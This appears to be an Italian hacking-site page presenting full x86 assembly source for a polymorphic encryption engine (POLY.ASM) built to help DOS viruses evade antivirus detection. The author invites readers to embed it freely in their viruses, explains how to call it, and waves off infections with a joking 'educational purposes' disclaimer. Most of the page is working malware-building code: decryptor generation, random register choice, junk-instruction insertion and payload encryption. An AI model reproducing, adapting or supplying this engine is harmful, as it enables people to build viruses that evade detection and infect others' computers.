|
Go] | |
|
|
|
[Back | |||
|
[Home |
|
[Polymorphic] | |
|
|
Questo e' un motore di
crittografia polimorfica che vi permettera' di realizzare dei virus estremamente difficili
da intercettare. Crea algoritmi di crittografia sempre diversi ogni volta che viene
eseguito, con pochissime somiglianze tra le copie. |
Potete usare liberamente il motore nei vostri virus. Vi invito, cari fratelli, a farne un uso prudente ed oculato dato che non ho la minima idea di come fare un antivirus per questo motore... :))
Di seguito allego il sorgente POLY.ASM
Potrete chiamarlo dai vostri programmi in questa maniera:DS:SI puntatore al codice da criptare
ES:DI puntatore all'area che conterra' il codice risultante
CX dimensioni del codice da crittografare
DX indirizzo al quale il codice risultante verra' eseguito in memoria
in ingresso:
call _poly
e inserite una include da qualche parte (alla fine del vostro sorgente):
include poly.asm
ATTENZIONE! Ripeto, questo sistema non e' consigliato a persone inesperte...
Ovviamente tutto questo e' solo a scopi didattici
se per sbaglio infettate il vostro pc e quelli di mezzo mondo io non so un cazzo!
non rompetemi le palle se non per inviarmi eventuali migliorie a questo motore...
; ==========================================================================
;
; poly - motore di polimorfismo per virus - v 1.00
; by netcoder [member of Light Raiders]
; 609 Bytes
;
; ==========================================================================
;
; Uso :
;
; impostare i registri con :
;
; DS:SI - codice da criptare
; ES:DI - spazio per il codice finale
; CX - size del codice
; DX - indirizzo del codice quando sara' eseguito
;
; chiamare la routine con "call _poly" e alla fine del vostro
; programma inserite la linea :
;
; include poly.asm
;
; in ritorno, DS:DX punta allo spazio che contiene
; il codice criptato e CX contiene le dimensioni del modulo criptato
; ==========================================================================
_poly:
jmp _poly_stuff
db '[poly]'
_poly_stuff:
push ax bx es di es di si bp
call $ + 3 ; preleviamo il nostro offset
pop bp
sub bp,offset $ - 1
; (1)===> impostiamo le variabili con numeri random
call randomize ; un numero random
push es di
lea di,[bp + reg_1]
push cs
pop es
xor bl,bl
call get_register ; preleviamo i registri
stosb
mov bl,3
call get_register
stosb
mov al,3 ; ADD, SUB or XOR?
call _random
stosb
or al,-1 ; creiamo random
call _random
stosb
pop di es
mov cs:[bp + started_at],di ; indirizzo di start
; (2)===> impostiamo i registri per la routine di decritto...
push ds
push cs ; appoggio DS in CS
pop ds
call garbage ; garbage...
call head_tail ; counter oppure offset?
jc counter_first
call load_offset ; prima l' offset
call load_counter
jmp decryptor
counter_first:
call load_counter ; prima il counter
call load_offset
jmp decryptor
load_offset:
mov al,[bp + reg_2]
call garbage
add al,0B8h
stosb
mov [bp + offset_at],di ; l'offset lo
; impostiamo dopo...
stosw
ret
load_counter:
mov al,[bp + reg_1] ; il registro del counter
call garbage
add al,0B8h
stosb
mov ax,cx ; le dimensioni...
stosw
ret
; (3)===> carichiamo la routine di decritto e allineiamo la critto...
decryptor:
push di ; salviamo questo offset
call garbage ; ancora garbage...
mov ax,802Eh
stosw
mov al,[bp + operation]
; seleziona l'operazione
test al,al ; 0 = ADD
je do_add
cmp al,1 ; 1 = SUB
je do_sub
; 2 = XOR
mov al,30h ; esegui l'operazione
do_add:
push ax
cmp al,28h ; se SUB,ADD in critto...
je encrypt_add
test al,al
je encrypt_sub ; e vice versa
mov al,32h ; imposta la routine critto...
mov [bp + encrypt_oper],al ; lo stesso per XOR
jmp decryptor_stuff
encrypt_add:
mov al,2
jmp encrypt_move
encrypt_sub:
mov al,2Ah
encrypt_move:
mov [bp + encrypt_oper],al
decryptor_stuff:
pop ax
mov ah,[bp + reg_2] ; prelevo il registro offset
cmp ah,3 ; BX
je its_bx
cmp ah,6 ; SI
je its_si
ja its_di ; DI
add al,46h ; BP (word)
xor ah,ah
stosw
jmp load_value
its_bx: add al,2 ; carichiamo l'istruzione
its_di: inc ax ; corretta
its_si: add al,4
stosb
jmp load_value
do_sub:
mov al,28h
jmp do_add
load_value:
mov al,[bp + random_no]
stosb
; (4)===> incrementa il registro offset
loaded:
call garbage ; ancora garbage...
call head_tail ; incremento reg offset
jc use_increments ; con INC oppure ADD
mov ax,0C083h ; una ADD
add ah,[bp + reg_2]
stosw
mov al,1
stosb
jmp fix_counter
use_increments:
mov al,40h
add al,[bp + reg_2]
stosb
; (5)===> decrementa il registro counter e fa un loop
fix_counter:
cmp [bp + reg_1],1 ; se CX, possimo fare LOOP
jne no_loop
call head_tail ; lo voglio fare...
jc use_loop
no_loop:
call garbage
call head_tail ; INC o SUB?
jc use_decrement
mov ax,0E883h ; usa una SUB
add ah,[bp + reg_1]
stosw
mov al,1
stosb
jmp now_jnz
use_loop:
call garbage
pop ax ; offset di decritto...
sub ax,di
sub al,2
mov ah,al
mov al,0E2h ; memorizza la LOOP
stosw
jmp fix_offset
use_decrement:
mov al,48h
add al,[bp + reg_1]
stosb
now_jnz:
pop ax ; indirizzo di decritto...
sub ax,di
sub al,2
mov ah,al
mov al,75h ; memorizza JNZ
stosw
; (6)===> allineiamo il registro offset
fix_offset:
call garbage ; l'ultima garbage!
mov ax,[bp + started_at] ; calcola l'offset
sub ax,di ; relativo al runtime
neg ax
add ax,dx
mov bx,[bp + offset_at]
mov es:[bx],ax ; ...fatto
; (7)===> criptiamo!
encryption:
pop ds ; restore di DS
push ax ; questo e' per dopo...
push cx ; la size del codice
mov bl,cs:[bp + random_no]
encrypt_it:
lodsb
encrypt_oper db 0
db 0C3h
stosb
loop encrypt_it
pop cx ; la size del codice
pop ax
sub ax,dx ; piu' il modulo
; di decritto...
add cx,ax ; ... fatto
jmp poly_done
; aree di lavoro
reg_1 db 4 ; registro counter
reg_2 db 4 ; registro offset
operation db 0 ; operazione
random_no db 0 ; numero random
started_at dw 0 ; l'inizio del codice
offset_at dw 0 ; indirizzo di caricamento
rand_seed dw 0
; routine di randomizzazione
randomize:
push cx dx
xor ah,ah ; il timer count
int 1Ah
mov cs:[bp + rand_seed],dx
xchg ch,cl
add cs:[bp + rand_seed_2],cx
pop dx cx
ret
; routine head/tail
head_tail:
mov ax,2 ; prendiamo un valore 0 o 1
call _random
test al,al
jz _head_
stc
ret
_head_: clc
ret
; routine per ottenere i registri
get_register:
mov ax,8 ; preleviamo un registro
call _random
check_reg:
cmp al,4 ; non usiamo SP
je no_good ; oppure uno usato
cmp al,bl
jb no_good
cmp al,cs:[bp + reg_1]
je no_good
cmp al,cs:[bp + reg_2]
je no_good
ret ; ... fatto
no_good:
test al,al
jz blah_blah
dec al
jmp check_reg
blah_blah:
mov al,7
jmp check_reg
; generatore di numeri random
_random:
push cx dx ax ; salva i registri
in al,40h ; il timer, per random
sub ax,cs:[bp + rand_seed]
db 35h ; XOR AX,
rand_seed_2 dw 0
inc ax
add cs:[bp + rand_seed],ax ; cambio di seed
xor dx,dx
pop cx
test ax,ax ; rischiamo divide by zero?
jz no_divide
div cx
no_divide:
mov ax,dx ; il resto e' il valore
pop dx cx ; ritornato
ret
; generatore di istruzioni garbage
garbage:
push ax
mov ax,8 ; decisioni...
call _random ; quale usare?
cmp al,1 ; 1 = NOP o SAHF
je nop_sahf
cmp al,2 ; 2 = ok, registro libero
je nothing_oper
cmp al,3 ; 3 = STC o CMC
je stc_cmc
cmp al,4 ; 4 = jump alla prossima
je nothing_jmp ; istruzione
cmp al,5 ; 5 = CMP dell'istruzione
je nothing_cmp
garbage_done:
pop ax ; ...fatto
ret
nop_sahf:
call head_tail ; NOP o SAHF
je use_sahf
mov al,90h
store_gbg: stosb
jmp garbage_done
use_sahf: mov al,9Eh
jmp store_gbg
nothing_oper:
xor bl,bl
call get_register
add al,0B8h
stosb
or ax,-1
call _random
stosw
jmp garbage_done
stc_cmc:
call head_tail ; STC o CMC
jc use_cmc
mov al,0F9h
jmp store_gbg
use_cmc: mov al,0F5h
jmp store_gbg
nothing_jmp:
mov ax,10h ; istruzione jump random
call _random
add al,70h
xor ah,ah
stosw
jmp garbage_done
nothing_cmp:
mov ax,800h ; nessun CMP
call _random
xor al,al
add ax,0F881h
stosw
call _random
stosw
jmp garbage_done
poly_done:
pop bp si dx ds di es bx ax
ret
_poly_end:
| Go] | |
|
||
|
[Back | |||
|
[Home |
